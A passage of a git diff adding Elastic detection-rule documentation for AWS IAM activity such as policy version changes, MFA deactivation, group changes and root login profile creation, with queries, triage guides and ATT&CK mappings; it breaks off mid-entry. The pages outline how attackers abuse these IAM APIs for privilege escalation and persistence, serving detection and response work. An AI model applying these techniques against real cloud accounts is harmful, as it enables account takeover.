b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-customer-managed-policy-version-created-or-default-version-set.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-aws-iam-customer-managed-policy-version-created-or-default-version-set]] +=== AWS IAM Customer Managed Policy Version Created or Default Version Set + +Identifies successful IAM API calls that create a new customer managed policy version or set the default version for an existing customer managed policy. Attackers with `iam:CreatePolicyVersion` or `iam:SetDefaultPolicyVersion` on a privileged policy can introduce a permissive policy document and activate it, escalating effective permissions without attaching a new policy. These APIs are high impact when the target policy is attached to powerful roles or users. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_SetDefaultPolicyVersion.html +* https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Domain: Identity +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM +* Tactic: Privilege Escalation +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Customer Managed Policy Version Created or Default Version Set* + + +`CreatePolicyVersion` uploads a new immutable version of a customer managed policy. `SetDefaultPolicyVersion` switches +which version principals evaluate—immediately changing effective access if the policy is already attached. + + +*Possible investigation steps* + + +- From `aws.cloudtrail.request_parameters`, extract `policyArn`, `policyDocument` (if present), and `setAsDefault`. +- Map the policy ARN to attached users, groups, and roles; prioritize policies attached to admin or break-glass roles. +- Compare the new or selected version to prior versions in IAM or version history for added `Action`/`Resource` wildcards. +- Review `aws.cloudtrail.user_identity.arn`, `source.ip`, and `user_agent.original` for interactive vs automation context. +- Correlate with `AttachUserPolicy`, `AttachRolePolicy`, or `CreatePolicyVersion` spikes from the same principal. + + +*False positive analysis* + + +- Planned policy releases and rollbacks are expected in mature shops; baseline known publishers. + + +*Response and remediation* + + +- If malicious: set default to a known-good version, delete bad versions where supported, detach policy if necessary, and + revoke excess `iam:*` on the actor. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html[CreatePolicyVersion] +- https://docs.aws.amazon.com/IAM/latest/APIReference/API_SetDefaultPolicyVersion.html[SetDefaultPolicyVersion] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ("CreatePolicyVersion" or "SetDefaultPolicyVersion") + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not aws.cloudtrail.user_identity.arn:arn*/terraform + and not source.as.organization.name:(Amazon* or AMAZON* or "Google LLC" or "MongoDB, Inc.") + and not source.address: ( "cloudformation.amazonaws.com" or "servicecatalog.amazonaws.com") + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-deactivation-of-mfa-device.asciidoc new file mode 100644 index 0000000000..5daff7df7e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-deactivation-of-mfa-device.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-aws-iam-deactivation-of-mfa-device]] +=== AWS IAM Deactivation of MFA Device + +Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Resources: Investigation Guide +* Tactic: Impact +* Tactic: Persistence +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS IAM + +*Version*: 218 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Deactivation of MFA Device* + + +This rule detects successful deactivation of a Virtual MFA device in AWS IAM. +Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. +Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity. + +For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation]. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation. + - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions. + - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK. + +- **Review the source and location** + - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations. + - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint. + +- **Correlate with other related activity** + - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration. + - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action. + - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation. + +- **Validate authorization** + - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation. + - If not documented or approved, escalate as a potential credential compromise or persistence attempt. + + +*False positive analysis* + + +- **Legitimate device rotation** + - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled. +- **Administrative maintenance** + - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows. + + +*Response and remediation* + + +- **Containment** + - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed. + - Revoke temporary credentials or tokens associated with the actor to prevent further misuse. + +- **Investigation and scoping** + - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal. + - Determine whether sensitive resources were accessed after MFA removal. + - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise. + +- **Recovery and hardening** + - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs). + - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]** +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: iam.amazonaws.com + and event.action: DeactivateMFADevice + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-creation.asciidoc new file mode 100644 index 0000000000..9bbcab0004 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-creation.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-aws-iam-group-creation]] +=== AWS IAM Group Creation + +Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-group.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Group Creation* + + +AWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. This alert fires on `CreateGroup`. New group creation may indicate attacker staging for persistence, especially if followed by policy attachments or user additions. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` to determine who performed the group creation. + - Review `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for unusual network, client, or region usage. + +- **Examine the group details** + - From `aws.cloudtrail.response_elements`, extract `groupName` and `path` (e.g., /service/, /dev/). + - Look for immediate follow-on changes by the same actor within the next 15–30 minutes: + - AttachGroupPolicy (especially AdministratorAccess or broad s3:*, iam:*). + - AddUserToGroup (who was added and when?). + - Use GetGroup to enumerate current group membership and attached policies during triage. + +- **Correlate with broader activity** + - Look for prior suspicious actions by the same user: `AssumeRole`, `CreateAccessKey`, new IAM user/role. + - After group creation, watch for data-access or configuration changes (e.g., S3 policy updates, KMS key policy changes) + + +*False positive analysis* + + +- IAM onboarding workflows or DevOps pipelines creating groups for new projects can trigger this alert. +- Test or sandbox accounts often create and delete groups routinely, validate account context and approval flows. + + +*Response and remediation:* + + +- **Containment**: + - If suspicious, disable further changes by the actor (temporarily remove IAM write privileges or deactivate keys). + - Place a change freeze on the newly created group (block `AttachGroupPolicy`/`AddUserToGroup` via SCP/permissions boundary until review completes). + +- **Investigation and scoping**: + - Use `GetGroup`, `ListAttachedGroupPolicies`, `ListUsersInGroup` to enumerate the group’s state and identify any suspicious policies or members. Investigate any attached policies granting broad privileges. + - Hunt for same-actor `AttachGroupPolicy`/`AddUserToGroup` events across the last 24–48h. + +- **Recovery and hardening**: + - Delete unauthorized, unused or suspicious groups. remove rogue policies/members. + - Restrict who can call `iam:CreateGroup`, `iam:AttachGroupPolicy`, and `iam:AddUserToGroup` (least privilege). + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: CreateGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-deletion.asciidoc new file mode 100644 index 0000000000..8b855ce7c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-group-deletion.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-aws-iam-group-deletion]] +=== AWS IAM Group Deletion + +Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/delete-group.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Group Deletion* + + +Attackers sometimes remove groups to erase evidence, disrupt operations, or prevent users from receiving needed permissions (Impact). Deletion can also follow malicious cleanup after attaching policies and using the group briefly. This alert fires on `DeleteGroup` API call. Consider intentional disruption or covering tracks, particularly if the group was privileged or recently modified. + + +*Possible investigation steps* + + +- **Identify the actor and environment** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id`. + - Check `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for atypical activity. + +- **Determine what was lost** + - From `aws.cloudtrail.request_parameters`, capture `groupName`. + - Use history or logs to identify existing members and attached policies prior to deletion (ex: `GetGroup`, `ListAttachedGroupPolicies`). + - Determine if the group contained privileged roles/policies that could have been weaponized. + +- **Correlate with related activity** + - Look in the prior 1–24h for `DetachGroupPolicy`, `RemoveUserFromGroup`, `DeleteGroupPolicy`, which often precede deletion in adversary cleanup workflows. + - After deletion, monitor for creation of new similarly-named groups, or re-attachment of policies to other groups/roles. + + +*False positive analysis* + + +- Projects & services that are being decommissioned often require group deletion. Confirm through internal inventory and change control. +- Sandbox or dev accounts frequently create and delete groups; ensure the environment context is understood. + + +*Response and remediation* + + +- **Containment**: If deletion was unauthorized, restrict the actor’s IAM privileges and block further configuration changes. +- **Investigation and scoping**: Recover details of the deleted group (members, policies) from logs or AWS Config, and determine the impact of the deletion (which users lost membership, service account disruption). +- **Recovery and hardening**: Recreate the group if necessary, restore intended policies and memberships, enforce change-control for group deletions, restrict `iam:DeleteGroup` privileges, and create alerts for destructive IAM operations. + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: DeleteGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-inline-policy-added-to-a-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-inline-policy-added-to-a-group.asciidoc new file mode 100644 index 0000000000..e54b171a5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-inline-policy-added-to-a-group.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-aws-iam-inline-policy-added-to-a-group]] +=== AWS IAM Inline Policy Added to a Group + +Identifies an inline policy added to an IAM group via PutGroupPolicy. An inline policy attached to a group grants its permissions to every current and future member of that group. Adversaries can abuse this to escalate privileges (grant elevated permissions to a group they belong to, or will add themselves to) and to establish persistence through a durable, membership-based grant that is easy to overlook. Group inline policies are uncommon compared to managed-policy attachments, so their creation by an unexpected principal warrants review. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutGroupPolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Inline Policy Added to a Group* + + +`PutGroupPolicy` embeds an inline permissions policy directly on an IAM group. Because the policy applies to all members of the group, it is an effective way to broadly grant permissions — and, for an adversary, to escalate privileges or persist while drawing less attention than attaching a well-known managed policy such as `AdministratorAccess`. Group inline policies are relatively rare, which makes their creation a useful signal. + + +*Possible investigation steps* + + +- Identify the actor in `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.session_context.session_issuer.arn`, and review `source.ip` / `user_agent.original` to determine how the change was made. +- Inspect `aws.cloudtrail.request_parameters` for the targeted `groupName`, the `policyName`, and the `policyDocument` to assess what permissions were granted (look for broad `Action`/`Resource` of `*`, IAM, or data-access permissions). +- Enumerate the group's current members to understand who immediately gains the new permissions, and whether the actor is or could become a member. +- Confirm whether the change aligns with an approved access request, onboarding, or deployment. +- Correlate with recent activity by the same principal, such as group creation, adding users to the group, or other IAM modifications that may form an escalation chain. + + +*False positive analysis* + + +- Approved access governance and infrastructure-as-code may add group inline policies. Confirm the change is expected and exclude known administration roles or automation on `aws.cloudtrail.user_identity.arn` after validation. + + +*Response and remediation* + + +- If the change is unauthorized, remove the inline policy from the group (`DeleteGroupPolicy`) and review which members used the granted permissions while it was in place. +- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `iam:PutGroupPolicy` to a small set of trusted administrators. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.html[IAM identity-based policies (inline)] +- https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutGroupPolicy.html[PutGroupPolicy API] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "PutGroupPolicy" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not user_agent.original: (*terraform* or *pulumi* or *ansible*) + and not aws.cloudtrail.user_identity.arn: (*terraform* or *pulumi* or *ansible*) + and not source.as.organization.name: (Amazon* or AMAZON* or Google*) + and not source.address: ("cloudformation.amazonaws.com" or "servicecatalog.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-added-for-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-added-for-root.asciidoc new file mode 100644 index 0000000000..9c48d10fbb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-login-profile-added-for-root.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-aws-iam-login-profile-added-for-root]] +=== AWS IAM Login Profile Added for Root + +Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Login Profile Added for Root* + + +This rule detects when a console login profile is created for the AWS root account. +A login profile enables password-based console access, and because the root user has unrestricted privileges, creating one is an extremely high-impact event. Adversaries who temporarily gain root-level credentials (for example, through an STS session or credential compromise) may use `CreateLoginProfile` without specifying a `userName` to add a password to the root account. This grants persistent access even if the attacker’s API keys are later rotated or disabled. + + +*Possible investigation steps* + + +**Assess the timing and context of the event** +- Review the `@timestamp` to determine when the `CreateLoginProfile` call occurred. + - Correlate this time window with other root or IAM activity such as `AssumeRoot`, `GetSessionToken`, `ConsoleLogin`, or `CreateAccessKey`. + - Check for follow-on activity, especially `ConsoleLogin` events or `UpdateLoginProfile`, which may indicate that the root password was used immediately after creation. + +**Investigate event origin and session details** +- Review `source.ip` and `user_agent.original`: + - Determine if the request originated from an expected network range, VPN endpoint, or geolocation. + - Identify whether the access was interactive (for example, browser or AWS console) or automated (`aws-cli`, SDK, or API client). +- Examine `aws.cloudtrail.user_identity.access_key_id` and associated STS session context to see if temporary credentials were used. +- Compare this event’s IP and access key to any other recent CloudTrail activity to identify potential lateral movement or multi-account access attempts. + +**Analyze the login profile creation** +- Review `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements`: + - Check whether `passwordResetRequired` was set to `true` or omitted, absence may imply that the attacker created a password they intend to reuse. +- Cross-reference this action with previous failed login attempts, password recovery requests, or `AssumeRoot` behavior. + +**Correlate related identity and access behavior** +- Search for additional IAM management activity: + - `AttachUserPolicy`, `AttachRolePolicy`, or `PutUserPolicy` granting elevated permissions. + - New `AccessKey` creation or `UpdateAccessKey` events tied to the same session. +- Review GuardDuty findings or any other detections referencing this account or IP around the same time period. +- If available, correlate with CloudTrail to detect if other resource creation or configuration changes followed the login profile addition. + +**Validate with account owner or authorized personnel** +- Contact the designated account or root credential owner to confirm whether this action was intentional (for example, during an account recovery). +- Review any internal change-management or service ticketing systems for an approved request matching this activity. + + +*False positive analysis* + + +Although rare, legitimate scenarios include: +- **Authorized account recovery** : An administrator or AWS Support might temporarily add a root login profile to regain access. Validate against documented recovery workflows. +- **Controlled testing or sandbox environments** : Certain sandbox accounts may reuse root credentials for automation or demonstration purposes. Tag and exclude these accounts from this rule where appropriate. +- **Automated provisioning** : Review any account bootstrap or recovery automation scripts that may invoke `CreateLoginProfile` on root credentials. + +For any potential false positive, verify that: +- The `source.ip` and `user_agent.original` values align with expected administrative locations and tools. +- The change was recorded during a maintenance window or known security operation. + + +*Response and remediation* + + +> Any unapproved creation of a login profile for the root account is a critical security incident requiring immediate containment and credential rotation. + +**Containment** +- Delete the newly created root login profile if it was not authorized. +- Rotate the root account password using AWS’s official password-reset workflow. +- Revoke any active sessions, temporary credentials, or tokens associated with this event. +- Verify that multi-factor authentication (MFA) is enabled and functioning on the root account. +- Check that no root access keys exist — if present, remove them immediately. + +**Investigation and scoping** +- Examine CloudTrail logs from 30 minutes before and after this event to identify correlated actions. +- Capture and securely store these logs in an isolated S3 bucket with Object Lock enabled to preserve forensic integrity. +- Investigate for additional IAM or STS operations by the same `access_key_id` or IP address that may indicate privilege escalation or persistence attempts. +- Review whether any new IAM roles, users, or policies were created in proximity to this event. + +**Recovery and hardening** +- Reset the root password and distribute the new credentials securely to authorized custodians only. +- Ensure MFA is enforced for all administrative and root-level access. +- Audit all IAM policies for least-privilege adherence, focusing on `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, and `iam:CreateAccessKey` permissions. +- Enable Cloudtrail, GuardDuty, AWS Config, and Security Hub across all regions for continuous monitoring of root and IAM activity. +- Review your organization’s playbooks and detection coverage for root-level persistence techniques, and update procedures as needed. + +**Post-incident actions** +- Notify AWS account owners and your security operations center of the incident. +- Conduct a post-mortem to determine the initial vector of compromise (e.g., stolen credentials, misconfigured role chaining, or insufficient MFA). +- Update alerting thresholds and detection logic to minimize mean time to detect (MTTD) and respond (MTTR). + + +*Additional information* + + +- **AWS Incident Response Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[IRP-CredCompromise] – Containment and recovery for suspected credential abuse. +- **AWS Customer Playbook Framework** + - https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[Compromised_IAM_Credentials.md] – Steps to contain, investigate, and recover from credential compromise. +- **AWS Documentation** + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html[CreateLoginProfile API Reference] + - https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[Root User Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateLoginProfile" + and aws.cloudtrail.user_identity.type == "Root" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "userName=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: 